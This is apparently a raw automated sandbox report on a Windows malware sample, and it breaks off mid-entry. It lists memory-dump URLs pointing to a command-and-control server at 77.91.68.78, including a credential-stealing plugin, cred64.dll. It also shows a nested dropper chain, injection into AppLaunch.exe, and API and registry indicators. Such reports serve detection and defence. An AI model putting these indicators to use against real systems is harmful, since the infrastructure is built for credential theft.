Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007276.00000000.69973.03040000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00008052.00000000.71276.03440000.00000004.mdmp") Found URL "http://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.php8uwd8u" - Source: "00000000-00008052.00000001.73196.03440000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00008052.00000001.73196.03440000.00000004.mdmp") Found URL "http://77.91.68.78/help/index.phpc:\users\hap:\users\hapubws\appdata\local\microsoft\windows\iecompatcache\c:\users\hapubws\appdata\local\microsoft\windows\historyhistory.ie5:\users\hapubws\appdata\local\microsoft\windows\history\history.ie5\:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\:\users\hapubws\appdata\local\microsoftedge\sharedcachecontainers\microsoftedge_iecompat\http://77.91.68.78/help/index.php:]oiawx" - Source: "00000000-00008052.00000001.73196.03476000.00000004.mdmp") Found URL "http://77.91.68.78/help/plugins/cred64.dllhttp://77.91.68.78/help/plugins/cred64.dll2227:]od/c:\windowssystem32kx1mphmj9t1d8u&0:]o'77.91.68.7877.91.68.78lmem0c:\users\hapubws\appdata\roaming\a091ec0a6e2227\cred64.dllc:\users\hapubws\appdata\roaming\a091ec0a6e2227\cred64.dll77.91.68.78lmem0xgav2or" - Source: "00000000-00008052.00000001.73196.03476000.00000004.mdmp") Found URL "http://77.91.68.78/help/index.php8uqdsav(htavtav" - Source: "00000000-00008052.00000001.73196.03476000.00000004.mdmp") Found URL "http://77.91.68.78/help/plugins/cred64.dllhttp://77.91.68.78/help/plugins/cred64.dlllmem" - Source: "00000000-00008052.00000001.73196.03476000.00000004.mdmp") Found URL "http://77.91.68.78/help/index.phpasycasycasycasycasycasycasychttp://77.91.68.78/help/index.phpasyc8u&d8uw^8uev8t" - Source: "00000000-00008052.00000001.73196.034CF000.00000004.mdmp") Found URL "http://77.91.68.78/help/index.php8tee8uma8ual8ua" - Source: "00000000-00008052.00000002.75116.03440000.00000004.mdmp") Found URL "http://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.phphttp://77.91.68.78/help/index.php8uwd8tzvp0:h" - Source: "00000000-00008052.00000002.75116.03440000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00008052.00000002.75116.03440000.00000004.mdmp") Found URL "http://77.91.68.78/help/index.phpesktop-fvvf82a\hapubwsebcache_" - Source: "00000000-00008052.00000002.75116.03476000.00000004.mdmp") Found URL "http://77.91.68.78/help/index.php:]oiawx" - Source: "00000000-00008052.00000002.75116.03476000.00000004.mdmp") Found URL "http://77.91.68.78/help/plugins/cred64.dllhttp://77.91.68.78/help/plugins/cred64.dll2227:]odkx1mphmj9t1d8u&0:]o'77.91.68.7877.91.68.78lmem0c:\users\hapubws\appdata\roaming\a091ec0a6e2227\cred64.dllc:\users\hapubws\appdata\roaming\a091ec0a6e2227\cred64.dll77.91.68.78lmem0xgav2or" - Source: "00000000-00008052.00000002.75116.03476000.00000004.mdmp") Found URL "http://77.91.68.78/help/index.php8uqdsav(htavtav" - Source: "00000000-00008052.00000002.75116.03476000.00000004.mdmp") Found URL "http://77.91.68.78/help/plugins/cred64.dllhttp://77.91.68.78/help/plugins/cred64.dlllmem" - Source: "00000000-00008052.00000002.75116.03476000.00000004.mdmp") Found URL "http://77.91.68.78/http/1.1" - Source: "00000000-00008052.00000002.75116.034CF000.00000004.mdmp")53:T79d,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "FindFirstFileA" with parameter %TEMP%\IXP000.TMP\* (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00007276) "z0143525.exe" called "FindFirstFileA" with parameter %TEMP%\IXP001.TMP\* (UID: 00000000-00002672) "z0143525.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00002672) "z3672075.exe" called "FindFirstFileA" with parameter %TEMP%\IXP002.TMP\* (UID: 00000000-00007228) "z3672075.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00007228) "z9579752.exe" called "FindFirstFileA" with parameter %TEMP%\IXP003.TMP\* (UID: 00000000-00001620) "z9579752.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00001620) "z8332048.exe" called "FindFirstFileA" with parameter %TEMP%\IXP004.TMP\* (UID: 00000000-00001752) "z8332048.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00001752) "AppLaunch.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00001892) "AppLaunch.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00001892) "AppLaunch.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00001892) "AppLaunch.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00001892) "AppLaunch.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00001892) "AppLaunch.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00001892) "AppLaunch.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00001892) "AppLaunch.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00001892) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00001892)54:T50d,file/memory contains long string with (Indicator: "base64"; File: "h7183381.exe") file/memory contains long string with (Indicator: "md5cryptoserviceprovider"; File: "h7183381.exe") file/memory contains long string with (Indicator: "System.Security.Cryptography"; File: "h7183381.exe") file/memory contains long string with (Indicator: "aes"; File: "sslkey.txt") Found string "FromBase64" (Indicator: "base64"; File: "00000000-00005900.00000001.74994.00942000.00000002.mdmp") Found string "MD5CryptoServiceProvider" (Indicator: "md5cryptoserviceprovider"; File: "00000000-00005900.00000001.74994.00942000.00000002.mdmp") Found string "base64str" (Indicator: "base64"; File: "00000000-00005900.00000001.74994.00942000.00000002.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; File: "00000000-00005900.00000001.74994.00942000.00000002.mdmp") Found string "FromBase64CharArray" (Indicator: "base64"; File: "00000000-00005900.00000001.74994.00942000.00000002.mdmp") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; File: "00000000-00005900.00000001.74994.00942000.00000002.mdmp") Found string "AeS." (Indicator: "aes"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp")55:T489,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "GetProcessById" (Indicator: "GetProcessById"; File: "00000000-00005900.00000001.74994.00942000.00000002.mdmp") Found reference to API "GetProcessesByName" (Indicator: "GetProcessesByName"; File: "00000000-00005900.00000001.74994.00942000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp")56:T4a9,Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00001620.00000000.70100.00B40000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00001620.00000000.70100.00B40000.00000004.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp")57:T956,Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp")58:T5a3,Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: j0508220.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: exto_1_.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: g5335915.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: kus.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: s2433534.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: r6085134.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: q2544030.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: t9287723.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: legota.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: i8781473.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: clip64_1_.dll]59:T5f1,Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00001620.00000000.70100.013D1000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00001620.00000000.70100.013D1000.00000020.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp")5a:T703,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00001620.00000000.70100.00B40000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00001620.00000000.70100.00B40000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp")5b:T2787,Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: 121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: 121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: 121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: 121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: foto7447.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: foto7447.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: foto7447.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: foto7447.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: foto7447.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: x8060195.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: x8060195.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: x8060195.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: x8060195.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: x8060195.exe] Observed import api "DeleteAce" which can "Deletes an access control entry (ACE) from an access control list (ACL)" [Source: j0508220.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: j0508220.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: j0508220.exe] Observed import api "DeleteAce" which can "Deletes an access control entry (ACE) from an access control list (ACL)" [Source: exto_1_.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: exto_1_.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: exto_1_.exe] Observed import api "DeleteAce" which can "Deletes an access control entry (ACE) from an access control list (ACL)" [Source: g5335915.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: g5335915.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: g5335915.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: z0143525.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: z0143525.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: z0143525.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: z0143525.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: z0143525.exe] Observed import api "DeleteAce" which can "Deletes an access control entry (ACE) from an access control list (ACL)" [Source: kus.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: kus.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: kus.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: z3672075.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: z3672075.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: z3672075.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: z3672075.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: z3672075.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: x3683024.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: x3683024.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: x3683024.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: x3683024.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: x3683024.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: z9579752.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: z9579752.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: z9579752.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: z9579752.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: z9579752.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: x2709271.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: x2709271.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: x2709271.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: x2709271.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: x2709271.exe] Observed import api "AreAnyAccessesGranted" which can "Tests whether any of a set of requested access rights has been granted" [Source: s2433534.exe] Observed import api "AreAnyAccessesGranted" which can "Tests whether any of a set of requested access rights has been granted" [Source: r6085134.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: z8332048.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: z8332048.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: z8332048.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: z8332048.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: z8332048.exe] Observed import api "AreAnyAccessesGranted" which can "Tests whether any of a set of requested access rights has been granted" [Source: q2544030.exe] Observed import api "GetSidIdentifierAuthority" which can "Returns a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: t9287723.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: t9287723.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: t9287723.exe] Observed import api "GetSidIdentifierAuthority" which can "Returns a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: legota.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: legota.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: legota.exe]5c:T12a8,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP000.TMP\Z0143525.EXE"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP000.TMP\W7821698.EXE"; Value: "") "z0143525.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP001.TMP\Z3672075.EXE"; Value: "") "z0143525.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP001.TMP\U0071771.EXE"; Value: "") "z3672075.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP002.TMP\Z9579752.EXE"; Value: "") "z3672075.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP002.TMP\T9287723.EXE"; Value: "") "z9579752.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP003.TMP\Z8332048.EXE"; Value: "") "z9579752.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP003.TMP\S2433534.EXE"; Value: "") "z8332048.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP004.TMP\Q2544030.EXE"; Value: "") "z8332048.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP004.TMP\R6085134.EXE"; Value: "") "q2544030.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\APPLAUNCH.EXE"; Value: "") "r6085134.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\APPLAUNCH.EXE"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "DHCPDOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "DHCPV6DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: 